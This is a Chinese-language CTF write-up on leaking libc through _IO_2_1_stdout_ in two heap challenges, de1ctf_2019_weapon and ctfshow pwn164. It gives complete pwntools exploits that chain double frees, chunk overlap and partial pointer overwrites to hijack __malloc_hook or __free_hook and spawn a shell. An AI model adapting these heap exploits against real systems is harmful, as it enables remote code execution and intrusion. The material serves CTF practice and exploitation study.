_IO_2_1_stdout泄露libc专题练习
Zach0ry Lv4

泄露原理

hollk师傅的源码分析

泄露原理

1
2
3
4
5
6
7
8
9
10
11
12
13
puts / printf

_IO_new_file_xsputn

_IO_OVERFLOW

_IO_new_file_overflow

_IO_do_write

_IO_SYSWRITE

write(1, leak_addr, size)

de1ctf_2019_weapon

https://buuoj.cn/challenges#de1ctf_2019_weapon

伪造fd和size拿到这个位置的chunk

然后通过该chunk,把chunk2的size改为0xd1,覆盖下面两个chunk

image-20260310093148085

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
add(0x50, 0, b"a")
add(0x50, 1, b"a" * 0x40 + p64(0) + p64(0x6f))
add(0x50, 2, b"a")
add(0x60, 3, b"a")
add(0x50, 4, b'aaaa')


free(0)
free(1)
free(0)


add(0x50, 0, b"\xb0")
# dbg()
add(0x50, 1, b"a")
add(0x50, 0, b"a")
add(0x50, 7, p64(0) + p64(0xd1))

然后把chunk23依次free,放入unsorted bin和fast bin,由于chunk2包含chunk3,可以通过malloc unsored 让chunk3的fd变为main_arena

image-20260310093425342

1
2
3
4
5
6
free(2)
free(3)
add(0x50, 8, b"a")
add(0x50, 9, b"a")
add(0x50, 10, b"a")
# dbg()

之后依旧double free ,把chunk3的fd划为可覆盖的范围内,改fd到_IO_2_1_stdout_附近,根据不同去覆盖后几位,然后修改stdout

image-20260310094600126

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
free(2)
free(4)
free(2)

add(0x50, 2, b"\x10")
add(0x50, 4, b"aaa")
add(0x50, 2, b"a" * 0x48 + p64(0x61))
add(0x50, 11, p64(0) + p64(0x71) + b"\xdd\x75")
add(0x60, 3, b"a")
add(0x60, 12, b"a" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + b"\x00")
# dbg()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c5600
if libc_base == 0x7f0000000000:
exit(-1)
print(hex(libc_base))

之后就是覆盖malloc_hook了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
print('one_gadget --> ' + hex(one_gadget))

add(0x60, 13, b'a')
add(0x60, 14, b'a')
add(0x60, 15, b'a')

free(13)
free(14)
free(13)

add(0x60, 13, p64(malloc_hook - 0x23))
add(0x60, 14, b'a')
add(0x60, 13, b'a')
add(0x60, 16, b'a' * 0x13 + p64(one_gadget))
free(0)
free(0)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *

# p = process('./de1ctf_2019_weapon')

elf = ELF('./de1ctf_2019_weapon')
libc = elf.libc


def launch_gdb():
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])


def add(size, index, content):
p.sendlineafter('choice >> ', '1')
p.sendlineafter('wlecome input your size of weapon: ', str(size))
p.sendlineafter('input index:', str(index))
p.sendafter('input your name:', content)


def edit(index, content):
p.sendlineafter('choice >>', '3')
p.sendlineafter('idx: ', str(index))
p.sendafter('content: ', content)


def free(index):
p.sendlineafter('choice >>', '2')
p.sendlineafter('idx :', str(index))


def pwn():
add(0x50, 0, b"a")
add(0x50, 1, b"a" * 0x40 + p64(0) + p64(0x6f))
add(0x50, 2, b"a")
add(0x60, 3, b"a")
add(0x50, 4, b'aaaa')
add(0x60, 5, b'aaaa')

free(0)
free(1)
free(0)
# launch_gdb()

add(0x50, 0, b"\xb0")
add(0x50, 1, b"a")
add(0x50, 0, b"a")
add(0x50, 7, p64(0) + p64(0xd1))

free(2)
free(3)
add(0x50, 8, b"a")
add(0x50, 9, b"a")
add(0x50, 10, b"a")
# launch_gdb()

free(2)
free(4)
free(2)
# launch_gdb()

add(0x50, 2, b"\x10")
add(0x50, 4, b"aaa")
add(0x50, 2, b"a" * 0x48 + p64(0x61))
add(0x50, 11, p64(0) + p64(0x71) + b"\xdd\x75")
add(0x60, 3, b"a")
add(0x60, 12, b"a" * 0x33 + p64(0xfbad1800) + p64(0) * 3 + b"\x00")

libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x3c5600
if libc_base == -0x3c5600:
exit(-1)

print(hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[2]
print('one_gadget --> ' + hex(one_gadget))

add(0x60, 13, b'a')
add(0x60, 14, b'a')
add(0x60, 15, b'a')

free(13)
free(14)
free(13)

add(0x60, 13, p64(malloc_hook - 0x23))
add(0x60, 14, b'a')
add(0x60, 13, b'a')
add(0x60, 16, b'a' * 0x13 + p64(one_gadget))

free(0)
free(0)

p.interactive()


while True:
p = process('./de1ctf_2019_weapon')
try:
pwn()
except:
p.close()

ctfshow pwn164

image-20260330170404716

image-20260330170235538

delete函数中有一个uaf漏洞

清空ptr指针

image-20260330170334137

realloc chunk

realloc(ptr, size) 的关键逻辑

这行代码是整道题的核心。由于 ptr 是全局的,每次调用 add 都会发生以下三种情况之一:

  • 情况 A:首次调用 (ptr 初始为 0) realloc(0, size) 的行为等同于 malloc(size)。它申请一块内存,并将地址存入全局变量 ptr
  • 情况 B:扩容/缩容 (ptr 已有地址,size > 0) realloc 会尝试在原地调整 ptr 指向的块大小。如果原地空间不够,它会开辟新块、拷贝原数据、释放(free)旧块,最后把新地址覆盖回 ptr
  • 情况 C:释放内存 (ptr 已有地址,size == 0) 这是这道题最关键的漏洞点。根据 realloc 的标准,realloc(ptr, 0) 等同于执行 free(ptr),并且会返回 NULL (0)。 由于代码里有 ptr = realloc(ptr, size),执行完后全局变量 ptr 会被赋值为 0

分析

由于没有show函数,还是要通过stdout去泄露libc,这里用到了ralloc会在原地拓展的属性,拿到目标chunk的上一个chunk去calloc一个大的size去覆盖main_arena的低2个字节进行爆破

先摆好tar和tar_pre两个chunk的位置

然后通过7次free把tcache bin塞满(2.27的tcache没有引入key,可以随便free),并且把tar_chunk free掉准备main_arena

接着拿tar_pre的地址,用这个地址去拓展,造成堆块重叠去改main_arena的后几位去爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
add(0x70,b"a")
add(0,"")
add(0x100,b"a")
add(0,b"")
add(0x20,b"a")
add(0,b"")

add(0x100,b"a")
for i in range(7):
delete()
add(0,"")
add(0x70,b"A")
add(0x180,b"a"*0x78+p64(0x101)+b"\x2d\xc7")
add(0,"")
add(0x100,b"a")
add(0,"")

add(0x100,b"a"*0x33+p64(0xfbad1887) + p64(0)*3 + p8(0x58))
libc_base = u64(p.recvuntil(b"\x7f", timeout=0.1)[-6:].ljust(8, b'\x00'))-0x3ec758
if libc_base ==-0x3ec758:
exit(-1)

print(hex(libc_base))

image-20260330171801225

这里不能用sudo sysctl -w kernel.randomize_va_space=0

因为他这个偏移比较奇怪会导致_IO_2_1_stdout_和main_arena不是在同一个0x10000上,无法通过覆盖后两位过去

拿到libc之后就可以通过同样的办法覆盖free_hook

这里因为ralloc返回的地址是free函数的参数

所以我们可以改fd为free_hook-8,然后覆盖b”/bin/sh\x00”+p64(system)

让realloc之后的参数为binsh的地址,并且把free_hook改为system函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
free= libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
one_gadget = libc_base + 0x4f322
zero()
add(0x110,b"a")
add(0,"")
add(0x120,b"a")
add(0,b"")
add(0x20,b"a")
add(0,b"")


add(0x120,b"a")
for i in range(7):
delete()
add(0,"")
add(0x110,b"A")
add(0x180,b"a"*0x118+p64(0x121)+p64(free-8))
add(0,"")
add(0x120,b"a")
add(0,"")
add(0x120,b"/bin/sh\x00"+p64(system))

delete()

image-20260330172347857

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
from pwn import *
import sys
from LibcSearcher import *

file_path = "./pwn164"
remote_host = "pwn.challenge.ctf.show"
remote_port = 28188
context(arch='amd64', os='linux', log_level='warn')

context.terminal = [
"wt.exe", "--profile", "WSL GDB (Black)",
"wsl.exe", "bash", "-ic"
]

elf = ELF(file_path)
libc = elf.libc

def dbg():
gdb.attach(p)
pause()
def sla(a, b):p.sendlineafter(a, b)
def sl(a):p.sendline(a)
def s(a):p.send(a)
def ru(a):p.recvuntil(a)
def sa(a, b):p.sendafter(a, b)
def bin_sys(libc_base) : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def uu64() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def uu32() : return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
def add(size, content):
p.recvuntil("Choice:")
p.sendline('1')
p.recvuntil("Size?\n")
p.sendline(str(size))
p.recvuntil("Content?\n")
p.send(content)

def delete():
p.recvuntil("Choice:")
p.sendline('2')

def zero():
p.recvuntil("Choice:")
p.sendline('1433233')

def attack():
add(0x70,b"a")
add(0,"")
add(0x100,b"a")
add(0,b"")
add(0x20,b"a")
add(0,b"")

add(0x100,b"a")
for i in range(7):
delete()
# dbg()
add(0,"")
add(0x70,b"A")
add(0x180,b"a"*0x78+p64(0x101)+b"\x2d\xc7")
add(0,"")
add(0x100,b"a")
add(0,"")
add(0x100,b"a"*0x33+p64(0xfbad1887) + p64(0)*3 + p8(0x58))
libc_base = u64(p.recvuntil(b"\x7f", timeout=0.1)[-6:].ljust(8, b'\x00'))-0x3ec758
if libc_base ==-0x3ec758:
exit(-1)

print(hex(libc_base))
# dbg()

free= libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
one_gadget = libc_base + 0x4f322
zero()
add(0x110,b"a")
add(0,"")
add(0x120,b"a")
add(0,b"")
add(0x20,b"a")
add(0,b"")


add(0x120,b"a")
for i in range(7):
delete()
add(0,"")
add(0x110,b"A")
add(0x180,b"a"*0x118+p64(0x121)+p64(free-8))
add(0,"")
add(0x120,b"a")
add(0,"")
add(0x120,b"/bin/sh\x00"+p64(system))

delete()





p.interactive()



while True:
try:
p=process("./pwn164")
# p=remote("pwn.challenge.ctf.show",28188)
attack()
break


except:
print("wrong")
p.close()